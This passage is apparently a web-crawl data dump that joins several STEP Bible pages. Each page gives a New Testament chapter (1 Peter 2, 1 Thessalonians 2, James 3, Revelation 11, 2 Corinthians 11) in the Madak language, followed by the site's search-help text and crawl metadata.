kopla mina lox asi tara mi levelinga. 2 Minak lok ngan laxamdak mumulum, no di vavara inin amisik levendan tus at loroonan, atla do mina inin amisix i, minaba vee mukun at lunuunu atnimi la mina roo suu. 3 I ngan Lovoang Kaala i tong i xeretna,\n\"Nemi xa miga long terex i do lebelemumu at Leeme Silok i lox avukat.\" a\nLuat Too4 Mina vot parap Leeme Silok, neni luat too no limixin diga lu xepe min do goxo epovo ri lok tugugu, ketla ne Moroa ga soxolik kaka i ngan luat, luunun teren i silok aleng la i epovo ri lok tugugu. 5 Nemi bok mira lok ngan pam larauat too rip kip gu, la ne Moroa xa i xip loogu laplavang minemi, kusu nemi minaba gugu ngan lavamaasa at ne Moroa; la minam taba i mi leventamtaba at loroonan mo ne Moroa naba siam kaka i xeneng at ne Iesu Karisito. 6 I ngan Lovoang Kaala i tong asu levelinga at ne Moroa xeretna,\n\"A soxolik kaka luat i ruuna luunun i silok aleng la anaba lok li i ngan luat ti lemesuluk at lemenemen Saion la do nege na nuunu ren, neni kopmen tinotno noxo ruuna ka lainmangan.\" b\n7 Mo luat neni i silok at levendoxoma atnemi limixin mi nuunu ren; ketla tinedi dixo nuunu ren, i lok ngan Lovoang Kaala i lok keretna;\n\"Mo luat luvuttadi gugu gu diga lu xepe min do i lok kapmek, ga ravasu ngan luat lugugu ren i volo rinotno mo larauat axap.\" c\n8 La loxot bok at Lovoang Kaala i vaase xeretna,\n\"Na luat naba lok limixin kusu dina sak kikixin la naba lox asubu nedi.\" d\nDi sak kikixin atla xopmen dina nuunu at levelinga at ne Moroa; anai i epovo mi lavavara at ne Moroa rinedi.\n9 Ketla nemi lavaanat soxolik ka; nemi lavamaasa at loorong silok, la nemi lubung mixin dadat la nemi limixin at ne Moroa akmokso. Neni ga soxolik ka nemi xusu minaba lox asuusu lugugu avukat teren, neni ga ro xaka nemi boro xeneng at lamain bonot la uto xeneng at laxasep maraanu ren. 10 Ketla avot be at na, nemi goxo ngan limixin at ne Moroa, ketla amo nga nemi mi lok ngan limixin teren; i ngan bok gano nemi mi goxoklen lebelemumu at ne Moroa, ketla amo nga, mira ruuna ka vam lebelemumu ren.\nLavasaxaruki At Ne Moroa11 Larapen tangas orong tarak. A sing nemi mi lodoxoma axap tarak. Nemi mi lok ngan mun limixin kadiong de at na lavatbung menemen, kuren la mina ru asepsu basinge leveloklok kakapmek at labantuxu, atla neni na leveloklok i vesep eburu mi labaroonan atnemi. 12 La minap tuvuk avukat at lemeren nedi lavamolon, la mo do dina sok taba parang nemi mi toloklok kakapmek, nedi dinaba ven kibis ba leveloklok nunuan atnemi la dinaba emi asu mi ne Moroa at laaleng potpot teren.\n13 Minang tonga res atnedi axap luvuttadi amgomgo, limixin di lok li di, mila Leeme Silok i vara i xuren. Minang tonga res at loorong silok at lenep kangka atnimi, neni imgomgo ri limixin axap. 14 La minang tonga res bok atnedi luvuttadi amgomgo at levenep silok, loorong silok ik sak tiki nedi xusu dina lox asongot nedi dik lok laxakapmek la dina emi asu minedi dik lok luvukat; 15 mila ne Moroa i vara i do minak lok leven gugu nunuan kusu minaba vamus levelinga gamasa at luvuttadi rangtangku. 16 Minap tuvuk avukat ngan limixin sepmus at ne Moroa; la nemen gat miguta se bopbop pe laxapmek atnemi mi leveloklok sepse at lemeren mun at limixin; ketla minap tuvuk ngan lavaanat saxaruki at ne Moroa. 17 Mina lok ngangao bok at limixin axap, la mina balamu limixin nuunu; la mina lok ngangao at ne Moroa la at loorong silok bok.\nLampoovo At Losongsongot At Ne Iesu18 Nemi lavasaxaruki. Minak lok mu asu levendoxoma at lubung amgomgo atnemi la mina lox asu rinotno loklok ngangao atnemi rinedi, kopmen do mina lok ngangao xusuk atnedi di belemumu nemi, ketla tinedi bok do di vaat tinemi. 19 Moroa naba lox anarong nemi do dina lox asongot nemi mumu mun loklox avukat atnemi na mu asu lodoxoma ren. 20 Ketla mi noxo lok kaka loklox anarong do dina sep nemi xusu laxakapmek nemi miga lox i. Ketla do mina lok ka mun i at loxonaleng mina lok loklox avukat la dina lox asongot nemi xusu nen; Moroa naba lox anarong ba nemi do mina tu tuxuruxun at na levenaleng di lox asongot nimi. 21 La ne Moroa ga ro xaka nemi mumu i na langas at losongsongot, mila ne Karisito axa ga suma losongsongot tinemi la ga lok taba nemi mi na langas, kusu minaba mumu asu lenaim teren.\n22 \"Neni goxo lok bok tekakapmek, la teta goxo ronga asu bok tekaxarang ga ravasu at lungusno ren.\" e\n23 At loxonaleng diga paase aksaksa rin, neni goxo vorang di mi teloklok bok kuren; la at laaleng neni ga lok kaka loklox asongot, neni goxo lok tepanga, ketla neni ga lok li levendoxoma axap teren at ne Moroa neni laradi rongtonga linga la na lugugu ren ik mokso rinotno. 24 Ne Karisito axa neni ga xip leveng kakapmek atnedik keneng at labantuxu ren uto at laxaba kusu nedik tanaba sepmus basinge loklok kakapmek atnedik la ata rooro tik lok leveloklok ik mokso. La nemi mi lox avukat pam mumu mun laranin kooxing teren. 25 Nemi miga lok ngan laxasipsip diga soronga, ketla ana nga, migaramlong pam kusu mina mumu asu Lamgomgo atnemi la neni laradi loklok tatao bok at lorooro at loroonan atnemi.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Pe.2","date":"2018-10-21T14:32:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514030.89\/warc\/CC-MAIN-20181021140037-20181021161537-00055.warc.gz","language":"mmx","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000002384185791}","num_words":1097,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Thessalonians 2\nLugugu At Ne Pol To Tesalonia1 Luvutnetak mi luvurinuk. Nemi mikleklen i do lovotpot atnama ga visik asu levempipisik nunuan. 2 Miklen i do maga vavang avot to Pilipai la limixin mego diga lox asongot nama, la diga paase sese kapmek tinama. Melemu magat pas uto at lemenemen atnimi dom Tesalonia, la buaang atnedi diga xopara nama; ketla ne Moroa ga lok kepe lanmarat basinge nama; la maga tong asu Lagale Lavavang tinimi. 3 Se maga vavang tinimi, maga paase mokmokso, la luruptuvuk atnama ga lox avukat aleng la ma goxo xarang nimi. 4 Ganoxa ne Moroa ga ven i do lorooro atnama ga lox avukat la ga raba nama mi Lagale Lavavang teren kusu mana tong asu i. Maga xopara na emi asu minama; ketla maga vavang kusu ne Moroa na lok momo minama, neni iklen lodoxoma atnama do i lox avukat kopla kopmen. 5 Ap mo laaleng maga vavang tinimi, ma goxo lox atdan kaka tevempanga atnimi la ma goxo ruuna loklok belegaao. Nemi miklen i na la ne Moroa bok iklen i do loklok atnama ga lox avukat mun. 6 La maga xopara limixin petpes eburu minemi mina emi asu minema.\n7 Ketla nema luvuttadi vavang at ne Iesu Karisito; la keneng at na maga epovo ri sing panga nimi, ketla ma goxo lox i xuren. La ma goxo paase lolos tinimi, ketla loklok atnama gak lok mulus atnaasan mun kerekngan latkin i lok tatao laxamdak mi laxaalik kakalik teren. 8 La maga lolos aleng kusu mana tong asu Lagale Lavavang tinimi la magap kip levenmumuat. Kerepmo maga balamu nimi.\n9 Luvutnetak mi luvurinuk. Mina doma bilong ti mo lugugu lolos atnama. Maga tong asu Lagale Lavavang at ne Moroa rinimi, la maga gugu at lengkangking la at lengkanimin, maga gugu pilas kusu nemi mi noxo kepe tevempilas atnimi xusu ri lok tooro nama. 10 Miga reven loklok atnama, la ne Moroa bok ga reven i, dola luruptuvuk atnama gak mokso la ga lox avukat aleng kantubu atnemi limixin nuunu la goxopmen taxakapmek gak lok atnama. 11 Miklen i do maga anasa nimi getgesara ngan laradi i anasa lamdak teren. 12 Maga paase tooro nimi, la maga paase amenemen nimi, la maga paase aronga nimi xusu lorooro atnimi na lox avukat kerekngan ne Moroa i vara i. Moroa ga ro ka nimi xusu minaba nemen eburu min to xeneng at Linintoo ren la minaba lok kaka lisisixam teren.\n13 La nema ma tong avukat amisik ti ne Moroa mumu nimi. Ap mo laaleng miga siam kaka levelinga at ne Moroa maga tong asu i rinimi, miga doma i do mo levelinga boro at ne Moroa, la goxopmen levelinga at luvuttadi gamasa. Mo levelinga i gugu xeneng at lorooro atnemi limixin mi nuunu.\n14 Luvutnetak mi luvurinuk. Lorooro atnemi ga vee ngan lorooro at limixin nuunu at ne Moroa to Judaia, mo di nuunu at ne Iesu Karisito; nedi digap kip levesongsongot mumu lunuunu atdi, mila limixin me Judaia axa diga lox asongot di; la kerepmo nemi bok migap kip levesongsongot, mila limixin mi legesa vapaase atnimi axa diga lox asongot nimi. 15 La mo limixin me Judaia diga sev amet Leeme Silok ne Iesu; ganoxa lavalabat atdi diga sev amet lavaeme vapaase alii at ne Moroa. La nedi diga riki xepe nama boro at lenep silok Judaia. Moroa i xopara ri mo loklok atdi. La di lok kapmek lixitkis at limixin axap keretna; 16 digak lok pe nama xusu ma noxo tong asu bok Lagale Lavavang tinedi limixin kopmen di me Judaia, kusu di noxo vubeles at Linintoo at ne Moroa. Laxakapmek atnedi limixin me Judaia i silok la mo laxakapmek ti lok pe limixin kopmen di me Judaia i lox asilok laxakapmek atdi. Kuren la lebelemamao at ne Moroa ira rupot pam saparap di.\nPol Ga Vara Aleng I Xusu Na Ven Limixin Boro Tesalonia17 Luvutnetak mi luvurinuk. Leventaba limixin dom Tesalonia diga riki xepe nama basinge nimi, la maga nemen to Atens at leventaba leven gaaling. Ketla maga doxoma amisik nimi, la maga lok bukbulu aleng la maga lolos kusu mana vot pasa nimi. 18 Maga lok do mana vot pasa nimi; nenia xa, ne Pol, amisik aga lok tong pen i xusu ana vosiga nimi, ketla ne Satan ga tu pe nama. 19 Maga lolos do mana vosiga nimi mila lunuunu atnimi i lox alolos lorooro atnama; la mi lox amomo nama; la maba lok momo aleng ap mo laaleng Leeme Silok, ne Iesu nabamlong teren, mila mi tu lolos at lunuunu atnimi. 20 I ruturun tinotno. Mi lox amomo aleng nama.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Th.2","date":"2018-10-15T16:59:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509336.11\/warc\/CC-MAIN-20181015163653-20181015185153-00022.warc.gz","language":"mmx","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999932050704956}","num_words":817,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"James 3\nMina Lok Tatao Avukat Lavapaase Atnimi1 Luvutnetak mi luvurinuk. Kopmen na lox avukat do buaang atnimi na lok ka lugugu ngan luvuttadi loklox ase at levelinga at ne Moroa, mila ne Moroa naba ila mumu aleng lugugu at luvuttadi loklox ase. Mira xasep pam at na. 2 Nedik axap tak sak kikixin at leventaangas buaang. Ket do laradi kopmen nak lok laxakapmek at lavapaase ren, neni laradi mokmokso rinotno la ni iklen bok ti lok tatao lorooro axap teren.\n3 Nedik ta lok li loxonaen lixilik at lungusno at lavaros ti lox i kusu naba ronga res atdik, la nedik ta epovo na sixit min uto at lengkot ta vara i. 4 Kopla mina doxoma mumu lavattaaxup i silok aleng la lamanman lolos ik lox asen i at laras. Lisitia at lavattaaxup i lixilik mun, ket do laradi gomgo ren na vara i do na sen min ti toxot, ni naba vaxar akmokso lisitia la lavattaaxup ira sen ti mo lenep i vara i. 5 Na lisitia i lok ngan lagam at laradi; ni loxot lixilik mun at labantuxu ren, ketla lagam i epovo do na tong asu levelinga loklox asilok. Nemi minam doma mumu i na; laxao lixilik i epovo ri an kaka axap laxairing silok. 6 La lagam i lok ngan mo laxao. Ni i ngan lavanga xapmek ti lengkot axap at labantuxu, la ik lox axatu kaxat leveloklok kakapmek at labantuxu, la ik lox axatu kaxat bok leveloklok i bilingot at lorooro axap at laradi. La laxao xerepmo ip tavasu at lemenemen songsongot.\n7 Limixin di epovo na lox amenemen levenasen panga rooro axap at na lavatbung menemen, ngan levempanga mi lavanuet kangkedek boro at laxairing, levempixa, levesisi la lempanga di kaxao mi lebelen di, la levenmat at laras. 8 Ketla kopmen taradi i epovo ri lox amenemen lagam. Amisik lagam ik lox axatu kaxat laxakapmek. Neni i epovo na sev amet tara kerekngan mun luxuasep.\n9 Mi leven gam atdik nedik di xip aurut laasen at ne Moroa, ne temen dik. La nedik di paase kapmek bok min ti limixin petpes no ne Moroa ga rudum li di kerekngan lampoovo ren. 10 Levelinga ri xip aurut laasen at ne Moroa la levelinga xapmek bok ip tavasu at legesa gam mene nga. Luvutnetak mi luvurinuk, na loklok kopmen nak mokso. 11 I lok ngan na lempapaase poovo. Ladan mumudut eburu mi ladan i so mamao noxo sen su at legesa xatli dan. 12 Luvutnetak mi luvurinuk. Luuna pik ixo epovo ri visik levempeven olip. La luuna vaen ixo epovo ri visik levempeven pik. La ixo epovo bok do tara na lok ka ladan mumudut boro at ladan i so mamao.\nLodoxoma Avukat Ne Moroa Im Taba I13 Do tara xantubu atnemi i ruuna lodoxoma avukat mi lakleklen solo, neni na lox asuusu i mi lavatpas teren i lox avukat axap la i umsu mi leveloklok nunuan; neni i lox i na mi langsangan loklok ngangao mi lodoxoma avukat. 14 Ket dola tara i ruuna levereven peves ti lempanga at tara vetpes la loklox asilok, ixo epovo do neni na lox aurur i do neni laradi avukat, la ixo epovo na sev apkap do neni laradi rongtonga xepe at levelinga ruturun. 15 Lodoxoma kerepmo kopmen na laa boro vana at ne Moroa. Ni loklok at na lavatkangka mun at ne Satan. 16 Do limixin at lara lemenemen di ruuna levereven peves ti lempanga at tara vetpes la loklox asilok, lixitkis atnedi naba lok kapmek la buaang leveloklok kakapmek nabak lok kantubu atdi.\n17 Ketla nedi limixin di ruuna lodoxoma at ne Moroa, di ruuna loklok keretna. Lara avot, luruptuvuk atdi i dadat, limila i nemen kantubu atdi, loklok mulus bok mo, la ding tonga res at lentaba vetpes; di umsu mi lebelemumu la dik lox amisik leveloklok nunuan. La di ke xepe loklok tik lox asi tara, la loklok kaxarang. 18 Nedi dik lok lumulum kantubu at limixin, mo lugugu atdi ba pisik asu lorooro nunuan kantubu at limixin axap.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Jam.3","date":"2018-10-22T03:28:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514497.14\/warc\/CC-MAIN-20181022025852-20181022051352-00456.warc.gz","language":"mmx","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000050067901611}","num_words":723,"character_repetition_ratio":0.05,"word_repetition_ratio":0.006,"special_characters_ratio":0.211,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 11\nMoroa Ga Riki Legepu Radi Xusu Duna Vavang1 La laangelo ga raba ia mi lakdak soksoxovo, la ni ga lok tia, \"Unat pas la una soxovo loogu laplavang at ne Moroa la loxonin laplavang keneng teren, la una us bok nedi di lotu go. 2 Ketla nemen uta soxovo lemelua ik lok kangkan mo loogu laplavang, mila nom lemelua ik lok ti limixin kopmen di me Judaia. La nedi dibat pas axangka lemenemen kaala Jerusalem at lavanuet sangaun mi legepura leven gaaling. 3 La ap mo levenaleng aba riki aonon luradi vapaase rak mi lololos kusu duna vavang mi levelinga rak ap mo legesa abin sangsangaun kobot mi legepu sangaun kobot mi lavanna sangaun aleng (1,260); la duba siga mun lengkontamon gurusek at limixin dik saxaanu.\" 4 Mo luradi vapaase, nedu legepu una olip la nedu bok lubabao di tu gagas to melamgo at ne Moroa, ni lo Moroa at na lavatbung menemen. 5 La do tara na lok tong i xusu na sep du, laxao ba soli su boro at lungusno du, la ba rin asonao lavamunepen atdu; la at na mun langas do tara na lok tong i xusu na sep du, neni naba met kerepmo. 6 Dunaba ruuna lololos kusu ri ru pe larakabu la noxo vot ap mo levenaleng do nedu dunaba vavang teren, la dunaba ruuna bok lololos kusu duna ba gili levendan ti lada, la dunaba ruuna bok lololos tip sev amisik limixin at na lavatbung menemen mi levenasen songsongot axap, mo do duba vara i do duna lox amisix i.\n7 Do duna lox axap mo lugugu ri vaase asu levelinga at ne Moroa, lara lavatpanga sio mi lavanuet kangkedek teren ba vasu ap mo lemeroon la ba esep mi mo luradi at ne Moroa la naba ranga alis du la na sev amet du. 8 La lubantuxu atdu nabak midi ro at langas ap mo lemenemen silok, ap mo mun loxot Leeme Silok atdu ga met at laxaba ve. Luasen poovo ap mo lemenemen ne Sodom la ne Isip. 9 La limixin boro at levengkot axap, la larabibinat, la levempapaase, la levenbantuxu diba reven lubantuxu atdu at lavantun mi loxon atat aleng la di noxo mulus kusu dina lok li lubantuxu atdu at lamaaut. 10 La limixin axap at lavatbung menemen diba momo aleng mumu lanmet atdu. Diba lok larapeluxa silok la diba etaba ela mi leventamtaba atdi. Lavasuun teren do na luradi vapaase duba lok buaang levempanga songsongot mavana at limixin.\n11 Ketla melemu at lavantun mi loxon atat levenaleng, Moroa ba raba mamas du, la duba xatu kaxat, la nedi limixin diba ven du, diba marat aleng. 12 La na luradi vapaase duba ronga lara na vaase ridu boro vana at laxalibet la ba lok, \"Ude numu vana.\" La duba urut uto vana at laxalibet keneng at loxontakabu, la limixin munepen midu mo diba tu la diba reven du.\n13 La ap mo mun loxonaleng langsangan langne ba vot, la lenep i sepsev asangaun ap mo laraugu xeneng at lemenemen silok ba rem tereve axap; la lavanuti larabin sangsangaun kobot (7000) limixin diba met at nom langne, la nedi limixin diba roo suu ap mo langne diba marat aleng tinotno la diba emi asu mi ne Moroa no vana at laxalibet.\n14 La nom lumumuat sepsev agepura na nga ira xap, ketla lumumuat sepsev avantun move la i auret do na vot.\nLaangelo Sepsev Avanuti15 La laangelo sepsev avanuti ga mas luru ren, la aga ronga laxaka linga silok at lentaba to vana at laxalibet ga lok keretna,\n'Amo nga Leeme Silok atdik eburu mi Lanarong teren du ru ka loklok tatao at na lavatbung menemen. La nedu dunaba lok tatao amisik la kopmen taxavaxap teren.' a\n16 La nedi legepu sangaun mi lavanuet loxongkulao amgomgo mo digat kis at levengkonin orong atdi to melamgo at ne Moroa, diga xis tiktikbu mi lempatgulom atdi la diga lotu parap ne Moroa. 17 Diga lok keretna,\n'Ma tong avukat tu, Leeme Silok, ne Moroa i lolos aleng, mo ga nemen gano la i nemen bok lingina, mila ura gu asu vam mi langsangan lololos taram la ura ru ka vam loklok tatao ram at na lavatbung menemen. 18 Nedi lavamolon diga musak teng tino, ketla laaleng ira vot pam kusu una lox asuusu lebelemamao ram, la uba lok li limixin digara met pam at lavapaase. Ni laaleng bok kusu uba raba luunun avukat ti lavaeme vapaase alii ram, nedi lavasaxaruki ram la tinedi limixin nuunu la nedi bok dik lok ngangao at laasen taram; nedi limixin gamasa la nedi bok di ruuna laasen silok. La laaleng ira vot pam kusu uba sele utut kepe nedi limixin diga lok kapmek lixitkis nunuan at na lavatbung menemen.' b\n19 Melemu at na, loogu laplavang at ne Moroa ga rem suang to vana at laxalibet, la limixin diga ven lobokis kaala, mo ga lok katling lekabus maxat at ne Moroa. La limixin diga ven lavanga ga mam etitit, la diga ronga leretepaavat gak lox epasum la diga suma lavarangne silok la lengkos uat gan bun aleng ga subu.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.11","date":"2018-10-23T04:00:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516003.73\/warc\/CC-MAIN-20181023023542-20181023045042-00542.warc.gz","language":"mmx","language_score":0.9999344349,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999344348907471}","num_words":990,"character_repetition_ratio":0.057,"word_repetition_ratio":0.002,"special_characters_ratio":0.214,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 11\nPol La Luvuttadi Vavang Kaxarang1 A vara aleng i do mina xip tooro ia at na lodoxoma rangtangku rak. A sing nimi do mina xip tooro ia ren. 2 A suma i do lodoxoma rak iplivi aleng mumu nimi mi mo liplivi at ne Moroa xa, mila aga ora ka nimi do ri ne Karisito xusu ana raba nimi ngan loono dadat ti leges atlok teren. 3 Ketla a marat do lavanga tara na sasar asoogong levendoxoma atnimi la mina ke xepe lunuunu lolos la lotu ruturun atnimi ri ne Karisito, kerekngan ne Iva; lisii ga xarang i mi lakleklen kapmek teren. 4 A marat do tara na vot la na vavang mi ne Iesu vetpes ti na ne Iesu nema ma vavang min, la mina lok ka loroonan kopmen at ne Moroa, eburu mi lavavang i lok petpes aleng tinotno ri Loroonan Kaala at ne Moroa eburu mi lavavang nemi miga ronga ka i la miga siam kaka i. 5 Ketla a doma i do nia xopmen ana lixilik tinotno rinedi luvuttadi vavang kaxarang, di lok do di silok aleng. 6 Keke i do nia axoklen avukat lavavang, ketla a lok nunuan at lakleklen nia a ruuna i, la magara lox ase axasep tinotno vam nimi min.\n7 Nia goxo ro unun tinimi at levenaleng nia aga vavang mi Lagale Lavavang at ne Moroa rinimi. Aga lox asi ia kantubu atnimi kusu ana lox aurut nimi mi Lagale Lavavang. Kereva, nenia aga lok laxapmek mi na loklok? 8 Aga lok kaka levempilas boro at laraugu lotu vetpes ngan luunun tia, kuren la aga lox epovo i xusu ana vavang ti lok tooro nemi. 9 La at levenaleng nia aga nemen eburu minimi la agak pakes ti tempanga, ketla a goxo lox angtang solo nimi, mila levempakpakes tarak limixin nuunu boro Masadonia diga lok tooro ia min. Kuren la nia goxo ngising panga nimi la melemu bok nia noxo sing panga nimi. A xopara na raba nimi mi laknixip. 10 Luruturun at ne Karisito ik lok tarak, la kerepmo kopmen tara medo Grik naba rupe ia at na levelinga loklox aru do nenia axo lok kaka levempilas ti lugugu rak do. 11 La tila ba nia a vaase i na? Ti lox asu i do axo balamu nimi? Kopmen. Moroa iklen i do a balamu nimi. 12 La move nenia a noxo lok kaka lempilas boro atnedi limixin ding tonga levelinga rak; kerepmo aba lox asuusu laxaxarang atnedi di lox aru di do nedi mo luvuttadi vavang la di gugu ngan nema.\n13 Limixin kerepmo kopmen di luvuttadi vavang tuturun. Nedi luvuttadi vavang kaxarang la di xaxarang mi leven gugu atdi la dik lok poovo i xusu dina ven ngan luvuttadi vavang at ne Karisito. 14 Nia axo rakdu bok, mila ne Satan ik lok poovo box i ngan laangelo at laxasep. 15 Kuren la ixo lolos ti luvuttadi gugu ren kusu dinak lok poovo nedi ngan luvuttadi gugu at levelinga mokmokso. Laxavaxap at lorooro atdi diba lok ka akmokso luunun ti levempanga nedi diga lox i.\nPol Ga Paase Axalat Ti Leme Korin16 A vara na tong amu box i do, nemen tara ta nua i do nia a baulang. Ket do mi doma i xuren, mina siam ka ia do laradi baulang kusu aba lox aru lixilix ia. 17 Na levelinga nia a vaase i ri lox aru ia, axo vaase i mi lavavara at Leeme Silok, ketla a vaase i ngan laradi baulang. 18 Buaang nedi luvuttadi di lox aru di ngan limixin at na lavatkangka, kuren la nenia bok aba lox aru ia. 19 Mi momo rip kip tutu mi mo luvuttadi xaxarang la mo loklok baulang atdi mila mi lok ngan luvuttadi akleklen. 20 I ruturun mi xip tutu mi nege i lok nemi ngan lavasaxaruki ren, kopla ip kip pilo levempanga atnimi, la i ven asi rinimi, kopla i vasa bobonot levenmeren nimi. 21 A vara na tong i do a lok mamangan aleng, mila maga marat ti lox i na rinimi.\nKetla do di vara i do dina lox aru di at tavanga, a vara box i do ana lox aru ia xerekngan di. (Na levelinga rak i lok ngan levelinga at laradi baulang.) 22 Kereva, nedi limixin me Ibru? Nenia bok pam kuren. Kereva, nedi limixin me Israel? Nenia bok pam kuren. Kereva, nedi livisik li at ne Abaram? Nenia bok pam kuren. 23 Kereva, nedi lavasaxaruki at ne Karisito? Nenia bok lasaxaruki at ne Karisito la a lok nunuan aleng tidi. (A paase ngan laradi baulang tinotno.) Agara lok pam laxan gugu buaang. Buaang levenaleng agara nemen pam at loogu xokoxo, la digak pixis aleng ia, la nia axo epovo xusu ana exes i; la agak lox auret ti lanmet. Nia a lok do nedi dixo ekip tangarang mi levempanga xerepmo. 24 I valimo levenaleng limixin me Judaia digak pixis ia ga se at lavantun sangaun mi lavasik. 25 I vantun levenaleng limixin boro Rom digak pixis ia mi levenakpiksa; la at leges aleng diga lu ia mi laxanuat. I vantun levenaleng lavattaaxup ga lok kapmek minama la at leges aleng kangking la kanimin agam kobok mun to at laras. 26 Buaang levempatpas tarak aga nemen keneng at levenmumuat to at laradanut la boro bok at luvuttadi xipkip pilo; la aga nemen bok keneng at levenmumuat boro atnedi limixin axa rak me Judaia la boro bok atnedi limixin kopmen di me Judaia. Aga nemen bok keneng at levenmumuat to at laramenemen silok, la aga nemen bok at levenmumuat to at lamatbin, la to bok at laras, la boro bok atnedi diga voovo ngan limixin nuunu. 27 Aga nemen bok keneng at leven gugu ga lolos aleng, la a goxo lok ka tevenanunga avukat la agak toxo la agak minu la aga mun anan la agak mudut aleng la goxopmen tevesingsiga avukat tia. 28 La mavana at nai levempanga, lara lumumuat mo it pot parav ia at levenaleng getgesara la ni lodoxoma liplivi mumu limixin lotu. 29 Do tara na lok molo at lunuunu ren, nia a doma mumu aleng lunuunu ren; dola tara i los beles at laxapmek, nia a umsu aleng mi lainbulu.\n30 Dola ana lox aru ia, ana lox asilox ia mi na levempanga ga vot parav ia ua di lox asuusu lomolo rak. 31 Moroa Temen Leeme Silok ne Iesu, limixin axap dina emi asu min at levenaleng axap la iklen i do nia axo babala mi na levelinga. 32 To Damasko laradi gomgo maxopok at loorong silok ne Aretas ga tong lolos i xusu dina ru pe levenngas povolo ap mo lemenemen Damasko xusu dina ranga alis ia. 33 Ketla larapen tangas tarak diga suxa abeles ia at laxaxi buso la diga lox asi ia ukopok boro at logo gak lok at laxapla at loogu la aga roo suu at lukngen.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some 